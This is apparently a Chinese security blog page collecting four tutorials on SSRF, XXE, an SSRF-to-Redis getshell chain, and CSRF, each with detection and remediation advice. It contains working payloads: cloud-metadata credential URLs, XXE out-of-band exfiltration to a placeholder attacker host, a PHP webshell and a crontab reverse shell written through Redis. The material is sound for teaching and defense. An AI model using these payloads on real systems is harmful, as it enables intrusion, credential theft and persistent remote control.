SSRF on SoulJian小站

SSRF 深入实战：利用面与绕过

Sat, 29 Aug 2026 15:40:00 +0800

写在前面：合法学习边界

SSRF 测试只允许在自建靶场或授权环境进行。对真实系统做内网探测、读元数据可能触犯法律。

一、漏洞原理

SSRF（服务端请求伪造）指服务器根据用户提供的 URL 发起请求。攻击者让服务器去访问原本到不了的地方。

1

curl 场景：URL 预览、截图、webhook、图片代理、文件下载

如果 URL 可控且无限制，服务器就成了攻击者的“跳板”。

二、影响与危害

1
2
3
4
5


读取内网文件（file://）
探测内网端口与服务
访问云元数据（169.254.169.254 的 IAM 密钥）
配合 Redis/内网组件 Getshell
绕过 WAF/网络隔离

风险等级：高到严重。

三、利用 / 复现

读文件

1
2


file:///etc/passwd
file:///C:/Windows/win.ini

探测内网

1
2
3


http://127.0.0.1:80
http://10.0.0.1:6379
http://192.168.1.1:8080

通过响应差异判断端口是否开放。

云元数据

1
2
3
4
5


# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 阿里云
http://100.100.100.200/latest/meta-data/

拿到临时凭证即可接管云资源。

配合 Redis Getshell

见本站《漏洞联动：SSRF 打内网 Redis 未授权 Getshell》：

1

SSRF → gopher 到 6379 → CONFIG 写 crontab/WebShell

常见绕过

1
2
3
4


127.0.0.1 → 2130706433、[::1]、十进制/十六进制
localhost → 绕过域名黑名单
@ 与 # 混淆、重定向绕过
DNS 重绑定

复现操作步骤

1
2
3
4
5


第 1 步：找 URL 可控点（预览/代理/下载功能）
第 2 步：试 file:///etc/passwd —— 读到即文件读取
第 3 步：试 http://127.0.0.1:6379 或内网端口 —— 端口差异判断
第 4 步：云环境试 169.254.169.254 元数据
第 5 步：配合 Redis/元数据确认影响面

四、检测

1
2
3
4


参数中 URL 可控且协议未限制
请求目标出现内网地址/云元数据
异常出站请求与响应差异
日志中 file://、169.254、内网 IP 请求

五、防御

1
2
3
4
5


URL 白名单（只允许预期域名/IP）
禁止内网段与元数据地址
禁用 file/gopher/dict 等协议
禁用自动重定向
限制请求大小与频率

六、修复

1
2
3
4


服务端校验并归一化 URL
解析后校验 IP（防 DNS 重绑定）
按协议白名单放行
修复后复测：内网与元数据访问被阻断

七、小结

SSRF 的价值在于“借力打力”：让服务器替你去访问内网。配合 Redis、云元数据，单点 SSRF 就能变成 Getshell 或云接管。它是漏洞链里最好的“入口跳板”。

XXE：XML 外部实体漏洞实战

Sat, 29 Aug 2026 15:10:00 +0800

写在前面：合法学习边界

XXE 测试只允许在自建靶场或授权环境进行。对真实系统读文件、外带数据、探测内网可能触犯法律。

一、漏洞原理

XML 解析器默认支持 DTD 和外部实体。如果程序解析不可信的 XML，且没禁用外部实体，攻击者就能让解析器去读文件、发请求。

1
2
3
4


<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

漏洞本质：XML 的“实体”机制被用来访问本地文件或外部地址。

常见触发点：

1
2
3
4


SOAP/XML-RPC 接口
前端传 XML 的接口
上传 .xml/.docx/.svg 被后端解析
配置文件解析

二、影响与危害

1
2
3
4


读取任意文件（源码、配置、密钥）
SSRF（实体指向内网地址）
带外数据外带（OOB）
DoS（实体扩展/十亿笑）

风险等级：高。

三、利用 / 复现

直接读文件

1
2
3
4
5


<?xml version="1.0"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

如果响应里回显 /etc/passwd 内容，XXE 成立。

无回显：带外外带（OOB）

1
2
3
4
5
6
7


<?xml version="1.0"?>
<!DOCTYPE foo [
 <!ENTITY % xxe SYSTEM "file:///etc/passwd">
 <!ENTITY % ext SYSTEM "http://攻击机/xxe.dtd">
 %ext;
]>
<foo/>

攻击机放 xxe.dtd，把文件内容拼到外带请求：

1
2


<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://攻击机/?data=%file;'>">
%all;

攻击机收到带文件内容的请求。

探测内网 / SSRF

1
2


<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
<foo>&xxe;</foo>

复现操作步骤

1
2
3
4


第 1 步：找解析 XML 的接口（SOAP/上传/配置导入）
第 2 步：构造含 DOCTYPE 外部实体的 XML（file:///etc/passwd）
第 3 步：响应回显文件内容 → 直接确认
第 4 步：无回显则用 OOB 外带（DNS/HTTP 接收数据）

四、检测

1
2
3
4


请求中带 XML 与 DOCTYPE/ENTITY
响应出现文件内容或异常报错
出现对攻击机的外带请求
XML 接口存在但报错信息暴露内部路径

五、防御

1
2
3
4


禁用 DTD / 外部实体（解析库安全默认值）
不用 XML 就用 JSON
对 XML 输入做白名单校验
限制解析资源防 DoS

六、修复

1
2
3
4


解析库显式关闭外部实体与 DTD
升级到默认安全的 XML 解析配置
对存量接口审计 XML 输入
修复后复测：file:// 与外带 payload 均被拒

七、小结

XXE 的核心是“XML 解析器信任了外部实体”。它既能读文件又能当 SSRF。见到 XML 接口就先试实体——很多老接口都中招。

漏洞联动：SSRF 打内网 Redis 未授权 Getshell

Sat, 29 Aug 2026 13:10:00 +0800

写在前面：合法学习边界

本联动利用只在自建靶场与授权内网进行。SSRF 打内网属于高风险行为，禁止对真实系统使用。

一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联

单个漏洞单看：

1
2


SSRF：服务器能帮攻击者访问任意地址（包括内网）
Redis 未授权：6379 端口无认证，任何人都能执行命令

串联起来：

1
2
3
4


1. SSRF 让 Web 服务器访问内网 127.0.0.1:6379
2. Redis 未授权 → 执行任意命令
3. CONFIG SET dir/dbfilename 把 Redis 数据写进文件
4. 写入 crontab / WebShell / SSH Key → Getshell

关键点：SSRF 提供了“进入内网的路”，Redis 未授权提供了“执行入口”，两者缺一不可。

二、影响与危害

1
2
3


内网 Web 服务器被 Getshell
写入计划任务/SSH Key 实现持久控制
进一步横向移动整个内网

风险等级：SSRF + Redis 未授权 = 严重，几乎是打内网的经典突破口。

三、利用 / 复现

场景

靶场里有一个“URL 预览/图片代理”功能存在 SSRF；内网有一台 Redis 未授权监听 6379。

第一步：验证 SSRF 能访问内网

1
2
3


# 预览接口
http://127.0.0.1:6379
http://10.0.0.5:6379

如果响应异常/超时表现不同，说明能触达内网端口。

第二步：向 Redis 发送协议数据

利用 gopher 协议把 Redis 命令打进去（授权环境演示）：

1

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

再构造写文件命令：

1
2
3
4


CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

或用 crontab 反弹：

1
2
3
4


CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/攻击机/4444 0>&1\n"
SAVE

用 Python 生成 gopher 编码后，拼进 SSRF 请求即可。

第三步：结果验证

1
2


访问 shell.php?c=id 返回命令结果
或攻击机 4444 端口收到反弹 Shell

四、检测

1
2
3
4


日志中 SSRF 请求目标是 6379、22、80 等内网端口
存在 gopher://、dict:// 等非常规协议
请求中出现 Redis 命令关键字（CONFIG、SAVE、FLUSHALL）
Web 目录出现非业务文件、crontab 异常

五、防御

1
2
3


SSRF 侧：URL 白名单、禁内网地址、禁重定向、禁非常规协议
Redis 侧：requirepass + ACL + bind 内网/本机
网络侧：Web 与 Redis 网络隔离，最小暴露

六、修复

1
2
3
4


修复 SSRF：白名单 + 禁内网段（127/10/172.16/192.168/169.254）+ 禁 gopher/dict
修复 Redis：设置强密码、绑定地址、禁用 CONFIG/危险命令
清理已写入的 crontab / WebShell / SSH Key，做取证
修复后复测：SSRF 无法触达 Redis，Redis 无密码不可访问

七、小结

SSRF + Redis 未授权是典型的“跨层漏洞链”：一个 Web 层的 SSRF，配上内网组件的未授权，直接变成服务器控制。看漏洞不能只看单点，要把“入口 + 跳板 + 目标”连成一条链来评估。

CSRF 与 SSRF 入门

Sat, 29 Aug 2026 04:55:00 +0800

写在前面：合法学习边界

本文讲解 CSRF 与 SSRF 的原理与防御。请不要对真实站点做绕过测试、内网探测或构造恶意请求。所有验证都必须在自建靶场、公司授权测试环境或明确书面授权的目标上进行。

一、CSRF：利用浏览器信任发起请求

CSRF（跨站请求伪造）的核心是：浏览器在用户已登录某个网站时，会把 Cookie 自动带上；攻击者诱使用户访问恶意页面，恶意页面在用户不知情的情况下向目标站点发起请求。

典型流程：

1
2
3
4
5


1. 用户登录目标站点，获得会话 Cookie
2. 用户访问恶意页面
3. 恶意页面发起一个指向目标站点的请求
4. 浏览器自动附带 Cookie
5. 目标站点误认为请求来自合法用户

CSRF 常见后果：

1
2
3
4
5


改密码
发评论
转账
修改资料
关闭安全设置

二、CSRF 防御

1. CSRF Token

服务端生成一次性 token，表单或请求头中必须携带正确 token 才接受请求。

给 Cookie 设置 SameSite=Lax 或 Strict，限制跨站请求携带 Cookie。

3. Origin / Referer 校验

服务端检查请求来源是否可信。

4. 重要操作二次确认

例如转账、改密、删除等动作要求再次输入密码或验证码。

影响与危害

CSRF 与 SSRF 造成的影响：

1
2


CSRF：在用户不知情下执行敏感操作（改密、转账、删数据）
SSRF：服务器成为跳板，访问内网/云元数据/扫描内部端口

SSRF 常被用来打内网和云平台（如 169.254.169.254 元数据）。风险等级：中到高。

三、SSRF：让服务器替你访问别的地址

SSRF（服务端请求伪造）的核心是：服务器根据用户提供的 URL 发起请求，结果访问了内部地址或其他敏感目标。

常见场景：

1
2
3
4
5


URL 预览
截图服务
Webhook 回调
图片代理
文件下载

SSRF 可能访问：

1
2
3
4


内网服务
元数据接口
Redis/MySQL 等本地服务
内部管理页面

四、SSRF 防御

1. 严格白名单

只允许访问预期域名或 IP 范围。

2. 禁止内网地址

拒绝：

1
2
3
4
5
6


127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
0.0.0.0

3. 禁用自动重定向

防止通过 302 跳转到内网地址。

4. 超时与频率限制

避免成为请求放大或探测跳板。

5. 输出与日志审计

记录被访问的 URL、响应状态和调用来源。

修复

1
2
3


CSRF：校验 Referer/Origin + 使用 CSRF Token + SameSite Cookie
SSRF：服务端 URL 白名单、禁止访问内网地址、禁用重定向跟随、对响应做过滤
修复后复测：跨站请求被拦截、内网访问被阻断

验证操作步骤

1
2
3
4
5
6
7


CSRF：
第 1 步：抓敏感操作请求，去掉 Token 重放看是否仍成功
第 2 步：检查 SameSite/Cookie 属性

SSRF：
第 3 步：找 URL 参数，送内网地址/file:// 协议
第 4 步：看是否返回内网内容或触发请求 —— 确认

五、CSRF 与 SSRF 在报告中的写法

好的报告要写出触发条件、影响和修复建议。

CSRF 示例：

1
2
3


发现：修改资料接口未校验 CSRF Token，已登录用户在恶意页面可被诱导修改资料。
风险：可能导致账户设置被篡改。
建议：增加 CSRF Token；启用 SameSite；关键操作二次验证。

SSRF 示例：

1
2
3


发现：图片预览接口允许访问任意 URL，可访问内网服务地址。
风险：可能导致内网探测、敏感信息泄露或横向移动。
建议：限制可访问域名；禁止内网地址；关闭自动重定向；增加日志告警。

六、小结

CSRF 和 SSRF 都是“服务器信任了什么不该信任的东西”。理解请求来源、Cookie 携带机制和服务端转发边界，是看懂这两类漏洞的关键。后续做日志分析、WAF 和渗透测试时，它们都会反复出现。

SSRF on SoulJian小站

SSRF 深入实战：利用面与绕过

写在前面：合法学习边界

一、漏洞原理

二、影响与危害

三、利用 / 复现

读文件

探测内网

云元数据

配合 Redis Getshell

常见绕过

复现操作步骤

四、检测

五、防御

六、修复

七、小结

XXE：XML 外部实体漏洞实战

写在前面：合法学习边界

一、漏洞原理

二、影响与危害

三、利用 / 复现

直接读文件

无回显：带外外带（OOB）

探测内网 / SSRF

复现操作步骤

四、检测

五、防御

六、修复

七、小结

漏洞联动：SSRF 打内网 Redis 未授权 Getshell

写在前面：合法学习边界

一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联

二、影响与危害

三、利用 / 复现

场景

第一步：验证 SSRF 能访问内网

第二步：向 Redis 发送协议数据

第三步：结果验证

四、检测

五、防御

六、修复

七、小结

CSRF 与 SSRF 入门

写在前面：合法学习边界

一、CSRF：利用浏览器信任发起请求

二、CSRF 防御

1. CSRF Token

2. SameSite Cookie

3. Origin / Referer 校验

4. 重要操作二次确认

影响与危害

三、SSRF：让服务器替你访问别的地址

四、SSRF 防御

1. 严格白名单

2. 禁止内网地址

3. 禁用自动重定向

4. 超时与频率限制

5. 输出与日志审计

修复

验证操作步骤

五、CSRF 与 SSRF 在报告中的写法

六、小结